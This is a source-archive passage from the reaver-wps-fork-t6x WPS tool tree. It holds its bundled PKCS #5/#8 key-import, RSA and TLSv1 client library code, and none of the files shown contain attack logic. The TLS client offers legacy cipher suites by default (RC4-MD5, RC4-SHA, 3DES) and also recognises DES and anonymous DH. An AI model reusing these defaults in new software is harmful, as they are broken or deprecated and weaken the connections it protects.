crypto_cipher_deinit(ctx); return NULL; } if (crypto_cipher_decrypt(ctx, enc_data, eb, enc_data_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to decrypt EB"); crypto_cipher_deinit(ctx); os_free(eb); return NULL; } crypto_cipher_deinit(ctx); pad = eb[enc_data_len - 1]; if (pad > 8) { wpa_printf(MSG_INFO, "PKCS #5: Invalid PS octet 0x%x", pad); os_free(eb); return NULL; } for (i = enc_data_len - pad; i < enc_data_len; i++) { if (eb[i] != pad) { wpa_hexdump(MSG_INFO, "PKCS #5: Invalid PS", eb + enc_data_len - pad, pad); os_free(eb); return NULL; } } wpa_hexdump_key(MSG_MSGDUMP, "PKCS #5: message M (encrypted key)", eb, enc_data_len - pad); *data_len = enc_data_len - pad; return eb; } reaver-wps-fork-t6x-1.6.6/src/tls/pkcs5.h000077500000000000000000000011571363372615500201060ustar00rootroot00000000000000/* * PKCS #5 (Password-based Encryption) * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS5_H #define PKCS5_H u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, const u8 *enc_data, size_t enc_data_len, const char *passwd, size_t *data_len); #endif /* PKCS5_H */ reaver-wps-fork-t6x-1.6.6/src/tls/pkcs8.c000077500000000000000000000124711363372615500201050ustar00rootroot00000000000000/* * PKCS #8 (Private-key information syntax) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" #include "bignum.h" #include "rsa.h" #include "pkcs5.h" #include "pkcs8.h" struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end; struct bignum *zero; struct asn1_oid oid; char obuf[80]; /* PKCS #8, Chapter 6 */ /* PrivateKeyInfo ::= SEQUENCE */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " "header (SEQUENCE); assume PKCS #8 not used"); return NULL; } pos = hdr.payload; end = pos + hdr.length; /* version Version (Version ::= INTEGER) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected INTEGER - found " "class %d tag 0x%x; assume PKCS #8 not used", hdr.class, hdr.tag); return NULL; } zero = bignum_init(); if (zero == NULL) return NULL; if (bignum_set_unsigned_bin(zero, hdr.payload, hdr.length) < 0) { wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse INTEGER"); bignum_deinit(zero); return NULL; } pos = hdr.payload + hdr.length; if (bignum_cmp_d(zero, 0) != 0) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected zero INTEGER in the " "beginning of private key; not found; assume " "PKCS #8 not used"); bignum_deinit(zero); return NULL; } bignum_deinit(zero); /* privateKeyAlgorithm PrivateKeyAlgorithmIdentifier * (PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier) */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x; " "assume PKCS #8 not used", hdr.class, hdr.tag); return NULL; } if (asn1_get_oid(hdr.payload, hdr.length, &oid, &pos)) { wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse OID " "(algorithm); assume PKCS #8 not used"); return NULL; } asn1_oid_to_str(&oid, obuf, sizeof(obuf)); wpa_printf(MSG_DEBUG, "PKCS #8: algorithm=%s", obuf); if (oid.len != 7 || oid.oid[0] != 1 /* iso */ || oid.oid[1] != 2 /* member-body */ || oid.oid[2] != 840 /* us */ || oid.oid[3] != 113549 /* rsadsi */ || oid.oid[4] != 1 /* pkcs */ || oid.oid[5] != 1 /* pkcs-1 */ || oid.oid[6] != 1 /* rsaEncryption */) { wpa_printf(MSG_DEBUG, "PKCS #8: Unsupported private key " "algorithm %s", obuf); return NULL; } pos = hdr.payload + hdr.length; /* privateKey PrivateKey (PrivateKey ::= OCTET STRING) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " "(privateKey) - found class %d tag 0x%x", hdr.class, hdr.tag); return NULL; } wpa_printf(MSG_DEBUG, "PKCS #8: Try to parse RSAPrivateKey"); return (struct crypto_private_key *) crypto_rsa_import_private_key(hdr.payload, hdr.length); } struct crypto_private_key * pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd) { struct asn1_hdr hdr; const u8 *pos, *end, *enc_alg; size_t enc_alg_len; u8 *data; size_t data_len; if (passwd == NULL) return NULL; /* * PKCS #8, Chapter 7 * EncryptedPrivateKeyInfo ::= SEQUENCE { * encryptionAlgorithm EncryptionAlgorithmIdentifier, * encryptedData EncryptedData } * EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier * EncryptedData ::= OCTET STRING */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " "header (SEQUENCE); assume encrypted PKCS #8 not " "used"); return NULL; } pos = hdr.payload; end = pos + hdr.length; /* encryptionAlgorithm EncryptionAlgorithmIdentifier */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x; " "assume encrypted PKCS #8 not used", hdr.class, hdr.tag); return NULL; } enc_alg = hdr.payload; enc_alg_len = hdr.length; pos = hdr.payload + hdr.length; /* encryptedData EncryptedData */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " "(encryptedData) - found class %d tag 0x%x", hdr.class, hdr.tag); return NULL; } data = pkcs5_decrypt(enc_alg, enc_alg_len, hdr.payload, hdr.length, passwd, &data_len); if (data) { struct crypto_private_key *key; key = pkcs8_key_import(data, data_len); os_free(data); return key; } return NULL; } reaver-wps-fork-t6x-1.6.6/src/tls/pkcs8.h000077500000000000000000000012171363372615500201060ustar00rootroot00000000000000/* * PKCS #8 (Private-key information syntax) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS8_H #define PKCS8_H struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len); struct crypto_private_key * pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd); #endif /* PKCS8_H */ reaver-wps-fork-t6x-1.6.6/src/tls/rsa.c000077500000000000000000000210051363372615500176330ustar00rootroot00000000000000/* * RSA * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" #include "bignum.h" #include "rsa.h" struct crypto_rsa_key { int private_key; /* whether private key is set */ struct bignum *n; /* modulus (p * q) */ struct bignum *e; /* public exponent */ /* The following parameters are available only if private_key is set */ struct bignum *d; /* private exponent */ struct bignum *p; /* prime p (factor of n) */ struct bignum *q; /* prime q (factor of n) */ struct bignum *dmp1; /* d mod (p - 1); CRT exponent */ struct bignum *dmq1; /* d mod (q - 1); CRT exponent */ struct bignum *iqmp; /* 1 / q mod p; CRT coefficient */ }; static const u8 * crypto_rsa_parse_integer(const u8 *pos, const u8 *end, struct bignum *num) { struct asn1_hdr hdr; if (pos == NULL) return NULL; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "RSA: Expected INTEGER - found class %d " "tag 0x%x", hdr.class, hdr.tag); return NULL; } if (bignum_set_unsigned_bin(num, hdr.payload, hdr.length) < 0) { wpa_printf(MSG_DEBUG, "RSA: Failed to parse INTEGER"); return NULL; } return hdr.payload + hdr.length; } /** * crypto_rsa_import_public_key - Import an RSA public key * @buf: Key buffer (DER encoded RSA public key) * @len: Key buffer length in bytes * Returns: Pointer to the public key or %NULL on failure */ struct crypto_rsa_key * crypto_rsa_import_public_key(const u8 *buf, size_t len) { struct crypto_rsa_key *key; struct asn1_hdr hdr; const u8 *pos, *end; key = os_zalloc(sizeof(*key)); if (key == NULL) return NULL; key->n = bignum_init(); key->e = bignum_init(); if (key->n == NULL || key->e == NULL) { crypto_rsa_free(key); return NULL; } /* * PKCS #1, 7.1: * RSAPublicKey ::= SEQUENCE { * modulus INTEGER, -- n * publicExponent INTEGER -- e * } */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " "(public key) - found class %d tag 0x%x", hdr.class, hdr.tag); goto error; } pos = hdr.payload; end = pos + hdr.length; pos = crypto_rsa_parse_integer(pos, end, key->n); pos = crypto_rsa_parse_integer(pos, end, key->e); if (pos == NULL) goto error; if (pos != end) { wpa_hexdump(MSG_DEBUG, "RSA: Extra data in public key SEQUENCE", pos, end - pos); goto error; } return key; error: crypto_rsa_free(key); return NULL; } /** * crypto_rsa_import_private_key - Import an RSA private key * @buf: Key buffer (DER encoded RSA private key) * @len: Key buffer length in bytes * Returns: Pointer to the private key or %NULL on failure */ struct crypto_rsa_key * crypto_rsa_import_private_key(const u8 *buf, size_t len) { struct crypto_rsa_key *key; struct bignum *zero; struct asn1_hdr hdr; const u8 *pos, *end; key = os_zalloc(sizeof(*key)); if (key == NULL) return NULL; key->private_key = 1; key->n = bignum_init(); key->e = bignum_init(); key->d = bignum_init(); key->p = bignum_init(); key->q = bignum_init(); key->dmp1 = bignum_init(); key->dmq1 = bignum_init(); key->iqmp = bignum_init(); if (key->n == NULL || key->e == NULL || key->d == NULL || key->p == NULL || key->q == NULL || key->dmp1 == NULL || key->dmq1 == NULL || key->iqmp == NULL) { crypto_rsa_free(key); return NULL; } /* * PKCS #1, 7.2: * RSAPrivateKey ::= SEQUENCE { * version Version, * modulus INTEGER, -- n * publicExponent INTEGER, -- e * privateExponent INTEGER, -- d * prime1 INTEGER, -- p * prime2 INTEGER, -- q * exponent1 INTEGER, -- d mod (p-1) * exponent2 INTEGER, -- d mod (q-1) * coefficient INTEGER -- (inverse of q) mod p * } * * Version ::= INTEGER -- shall be 0 for this version of the standard */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " "(public key) - found class %d tag 0x%x", hdr.class, hdr.tag); goto error; } pos = hdr.payload; end = pos + hdr.length; zero = bignum_init(); if (zero == NULL) goto error; pos = crypto_rsa_parse_integer(pos, end, zero); if (pos == NULL || bignum_cmp_d(zero, 0) != 0) { wpa_printf(MSG_DEBUG, "RSA: Expected zero INTEGER in the " "beginning of private key; not found"); bignum_deinit(zero); goto error; } bignum_deinit(zero); pos = crypto_rsa_parse_integer(pos, end, key->n); pos = crypto_rsa_parse_integer(pos, end, key->e); pos = crypto_rsa_parse_integer(pos, end, key->d); pos = crypto_rsa_parse_integer(pos, end, key->p); pos = crypto_rsa_parse_integer(pos, end, key->q); pos = crypto_rsa_parse_integer(pos, end, key->dmp1); pos = crypto_rsa_parse_integer(pos, end, key->dmq1); pos = crypto_rsa_parse_integer(pos, end, key->iqmp); if (pos == NULL) goto error; if (pos != end) { wpa_hexdump(MSG_DEBUG, "RSA: Extra data in public key SEQUENCE", pos, end - pos); goto error; } return key; error: crypto_rsa_free(key); return NULL; } /** * crypto_rsa_get_modulus_len - Get the modulus length of the RSA key * @key: RSA key * Returns: Modulus length of the key */ size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key) { return bignum_get_unsigned_bin_len(key->n); } /** * crypto_rsa_exptmod - RSA modular exponentiation * @in: Input data * @inlen: Input data length * @out: Buffer for output data * @outlen: Maximum size of the output buffer and used size on success * @key: RSA key * @use_private: 1 = Use RSA private key, 0 = Use RSA public key * Returns: 0 on success, -1 on failure */ int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, struct crypto_rsa_key *key, int use_private) { struct bignum *tmp, *a = NULL, *b = NULL; int ret = -1; size_t modlen; if (use_private && !key->private_key) return -1; tmp = bignum_init(); if (tmp == NULL) return -1; if (bignum_set_unsigned_bin(tmp, in, inlen) < 0) goto error; if (bignum_cmp(key->n, tmp) < 0) { /* Too large input value for the RSA key modulus */ goto error; } if (use_private) { /* * Decrypt (or sign) using Chinese remainer theorem to speed * up calculation. This is equivalent to tmp = tmp^d mod n * (which would require more CPU to calculate directly). * * dmp1 = (1/e) mod (p-1) * dmq1 = (1/e) mod (q-1) * iqmp = (1/q) mod p, where p > q * m1 = c^dmp1 mod p * m2 = c^dmq1 mod q * h = q^-1 (m1 - m2) mod p * m = m2 + hq */ a = bignum_init(); b = bignum_init(); if (a == NULL || b == NULL) goto error; /* a = tmp^dmp1 mod p */ if (bignum_exptmod(tmp, key->dmp1, key->p, a) < 0) goto error; /* b = tmp^dmq1 mod q */ if (bignum_exptmod(tmp, key->dmq1, key->q, b) < 0) goto error; /* tmp = (a - b) * (1/q mod p) (mod p) */ if (bignum_sub(a, b, tmp) < 0 || bignum_mulmod(tmp, key->iqmp, key->p, tmp) < 0) goto error; /* tmp = b + q * tmp */ if (bignum_mul(tmp, key->q, tmp) < 0 || bignum_add(tmp, b, tmp) < 0) goto error; } else { /* Encrypt (or verify signature) */ /* tmp = tmp^e mod N */ if (bignum_exptmod(tmp, key->e, key->n, tmp) < 0) goto error; } modlen = crypto_rsa_get_modulus_len(key); if (modlen > *outlen) { *outlen = modlen; goto error; } if (bignum_get_unsigned_bin_len(tmp) > modlen) goto error; /* should never happen */ *outlen = modlen; os_memset(out, 0, modlen); if (bignum_get_unsigned_bin( tmp, out + (modlen - bignum_get_unsigned_bin_len(tmp)), NULL) < 0) goto error; ret = 0; error: bignum_deinit(tmp); bignum_deinit(a); bignum_deinit(b); return ret; } /** * crypto_rsa_free - Free RSA key * @key: RSA key to be freed * * This function frees an RSA key imported with either * crypto_rsa_import_public_key() or crypto_rsa_import_private_key(). */ void crypto_rsa_free(struct crypto_rsa_key *key) { if (key) { bignum_deinit(key->n); bignum_deinit(key->e); bignum_deinit(key->d); bignum_deinit(key->p); bignum_deinit(key->q); bignum_deinit(key->dmp1); bignum_deinit(key->dmq1); bignum_deinit(key->iqmp); os_free(key); } } reaver-wps-fork-t6x-1.6.6/src/tls/rsa.h000077500000000000000000000015441363372615500176460ustar00rootroot00000000000000/* * RSA * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef RSA_H #define RSA_H struct crypto_rsa_key; struct crypto_rsa_key * crypto_rsa_import_public_key(const u8 *buf, size_t len); struct crypto_rsa_key * crypto_rsa_import_private_key(const u8 *buf, size_t len); size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key); int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, struct crypto_rsa_key *key, int use_private); void crypto_rsa_free(struct crypto_rsa_key *key); #endif /* RSA_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_client.c000077500000000000000000000434531363372615500214700ustar00rootroot00000000000000/* * TLSv1 client (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" /* TODO: * Support for a message fragmented across several records (RFC 2246, 6.2.1) */ void tls_alert(struct tlsv1_client *conn, u8 level, u8 description) { conn->alert_level = level; conn->alert_description = description; } void tlsv1_client_free_dh(struct tlsv1_client *conn) { os_free(conn->dh_p); os_free(conn->dh_g); os_free(conn->dh_ys); conn->dh_p = conn->dh_g = conn->dh_ys = NULL; } int tls_derive_pre_master_secret(u8 *pre_master_secret) { WPA_PUT_BE16(pre_master_secret, TLS_VERSION); if (os_get_random(pre_master_secret + 2, TLS_PRE_MASTER_SECRET_LEN - 2)) return -1; return 0; } int tls_derive_keys(struct tlsv1_client *conn, const u8 *pre_master_secret, size_t pre_master_secret_len) { u8 seed[2 * TLS_RANDOM_LEN]; u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; u8 *pos; size_t key_block_len; if (pre_master_secret) { wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", pre_master_secret, pre_master_secret_len); os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); if (tls_prf(pre_master_secret, pre_master_secret_len, "master secret", seed, 2 * TLS_RANDOM_LEN, conn->master_secret, TLS_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " "master_secret"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", conn->master_secret, TLS_MASTER_SECRET_LEN); } os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "key expansion", seed, 2 * TLS_RANDOM_LEN, key_block, key_block_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", key_block, key_block_len); pos = key_block; /* client_write_MAC_secret */ os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* server_write_MAC_secret */ os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* client_write_key */ os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* server_write_key */ os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* client_write_IV */ os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; /* server_write_IV */ os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; return 0; } /** * tlsv1_client_handshake - Process TLS handshake * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Input data from TLS peer * @in_len: Input data length * @out_len: Length of the output buffer. * @appl_data: Pointer to application data pointer, or %NULL if dropped * @appl_data_len: Pointer to variable that is set to appl_data length * Returns: Pointer to output data, %NULL on failure */ u8 * tlsv1_client_handshake(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, size_t *out_len, u8 **appl_data, size_t *appl_data_len) { const u8 *pos, *end; u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; size_t in_msg_len; int no_appl_data; if (conn->state == CLIENT_HELLO) { if (in_len) return NULL; return tls_send_client_hello(conn, out_len); } if (in_data == NULL || in_len == 0) return NULL; pos = in_data; end = in_data + in_len; in_msg = os_malloc(in_len); if (in_msg == NULL) return NULL; /* Each received packet may include multiple records */ while (pos < end) { in_msg_len = in_len; if (tlsv1_record_receive(&conn->rl, pos, end - pos, in_msg, &in_msg_len, &alert)) { wpa_printf(MSG_DEBUG, "TLSv1: Processing received " "record failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); goto failed; } ct = pos[0]; in_pos = in_msg; in_end = in_msg + in_msg_len; /* Each received record may include multiple messages of the * same ContentType. */ while (in_pos < in_end) { in_msg_len = in_end - in_pos; if (tlsv1_client_process_handshake(conn, ct, in_pos, &in_msg_len, appl_data, appl_data_len) < 0) goto failed; in_pos += in_msg_len; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } os_free(in_msg); in_msg = NULL; no_appl_data = appl_data == NULL || *appl_data == NULL; msg = tlsv1_client_handshake_write(conn, out_len, no_appl_data); failed: os_free(in_msg); if (conn->alert_level) { conn->state = FAILED; os_free(msg); msg = tlsv1_client_send_alert(conn, conn->alert_level, conn->alert_description, out_len); } else if (msg == NULL) { msg = os_zalloc(1); *out_len = 0; } return msg; } /** * tlsv1_client_encrypt - Encrypt data into TLS tunnel * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Pointer to plaintext data to be encrypted * @in_len: Input buffer length * @out_data: Pointer to output buffer (encrypted TLS data) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. */ int tlsv1_client_encrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { size_t rlen; wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", in_data, in_len); os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, out_data, out_len, in_len, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return rlen; } /** * tlsv1_client_decrypt - Decrypt data from TLS tunnel * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Pointer to input buffer (encrypted TLS data) * @in_len: Input buffer length * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. */ int tlsv1_client_decrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { const u8 *in_end, *pos; int res; u8 alert, *out_end, *out_pos; size_t olen; pos = in_data; in_end = in_data + in_len; out_pos = out_data; out_end = out_data + out_len; while (pos < in_end) { if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " "0x%x", pos[0]); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } olen = out_end - out_pos; res = tlsv1_record_receive(&conn->rl, pos, in_end - pos, out_pos, &olen, &alert); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " "failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); return -1; } out_pos += olen; if (out_pos > out_end) { wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " "for processing the received record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } return out_pos - out_data; } /** * tlsv1_client_global_init - Initialize TLSv1 client * Returns: 0 on success, -1 on failure * * This function must be called before using any other TLSv1 client functions. */ int tlsv1_client_global_init(void) { return crypto_global_init(); } /** * tlsv1_client_global_deinit - Deinitialize TLSv1 client * * This function can be used to deinitialize the TLSv1 client that was * initialized by calling tlsv1_client_global_init(). No TLSv1 client functions * can be called after this before calling tlsv1_client_global_init() again. */ void tlsv1_client_global_deinit(void) { crypto_global_deinit(); } /** * tlsv1_client_init - Initialize TLSv1 client connection * Returns: Pointer to TLSv1 client connection data or %NULL on failure */ struct tlsv1_client * tlsv1_client_init(void) { struct tlsv1_client *conn; size_t count; u16 *suites; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " "hash"); os_free(conn); return NULL; } count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; conn->num_cipher_suites = count; return conn; } /** * tlsv1_client_deinit - Deinitialize TLSv1 client connection * @conn: TLSv1 client connection data from tlsv1_client_init() */ void tlsv1_client_deinit(struct tlsv1_client *conn) { crypto_public_key_free(conn->server_rsa_key); tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); tls_verify_hash_free(&conn->verify); os_free(conn->client_hello_ext); tlsv1_client_free_dh(conn); tlsv1_cred_free(conn->cred); os_free(conn); } /** * tlsv1_client_established - Check whether connection has been established * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 1 if connection is established, 0 if not */ int tlsv1_client_established(struct tlsv1_client *conn) { return conn->state == ESTABLISHED; } /** * tlsv1_client_prf - Use TLS-PRF to derive keying material * @conn: TLSv1 client connection data from tlsv1_client_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure */ int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { u8 seed[2 * TLS_RANDOM_LEN]; if (conn->state != ESTABLISHED) return -1; if (server_random_first) { os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); } else { os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); } return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, label, seed, 2 * TLS_RANDOM_LEN, out, out_len); } /** * tlsv1_client_get_cipher - Get current cipher name * @conn: TLSv1 client connection data from tlsv1_client_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, size_t buflen) { char *cipher; switch (conn->rl.cipher_suite) { case TLS_RSA_WITH_RC4_128_MD5: cipher = "RC4-MD5"; break; case TLS_RSA_WITH_RC4_128_SHA: cipher = "RC4-SHA"; break; case TLS_RSA_WITH_DES_CBC_SHA: cipher = "DES-CBC-SHA"; break; case TLS_RSA_WITH_3DES_EDE_CBC_SHA: cipher = "DES-CBC3-SHA"; break; case TLS_DH_anon_WITH_AES_128_CBC_SHA: cipher = "ADH-AES-128-SHA"; break; case TLS_RSA_WITH_AES_256_CBC_SHA: cipher = "AES-256-SHA"; break; case TLS_RSA_WITH_AES_128_CBC_SHA: cipher = "AES-128-SHA"; break; default: return -1; } if (os_strlcpy(buf, cipher, buflen) >= buflen) return -1; return 0; } /** * tlsv1_client_shutdown - Shutdown TLS connection * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 0 on success, -1 on failure */ int tlsv1_client_shutdown(struct tlsv1_client *conn) { conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " "hash"); return -1; } tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); conn->certificate_requested = 0; crypto_public_key_free(conn->server_rsa_key); conn->server_rsa_key = NULL; conn->session_resumed = 0; return 0; } /** * tlsv1_client_resumed - Was session resumption used * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 1 if current session used session resumption, 0 if not */ int tlsv1_client_resumed(struct tlsv1_client *conn) { return !!conn->session_resumed; } /** * tlsv1_client_hello_ext - Set TLS extension for ClientHello * @conn: TLSv1 client connection data from tlsv1_client_init() * @ext_type: Extension type * @data: Extension payload (%NULL to remove extension) * @data_len: Extension payload length * Returns: 0 on success, -1 on failure */ int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, const u8 *data, size_t data_len) { u8 *pos; conn->session_ticket_included = 0; 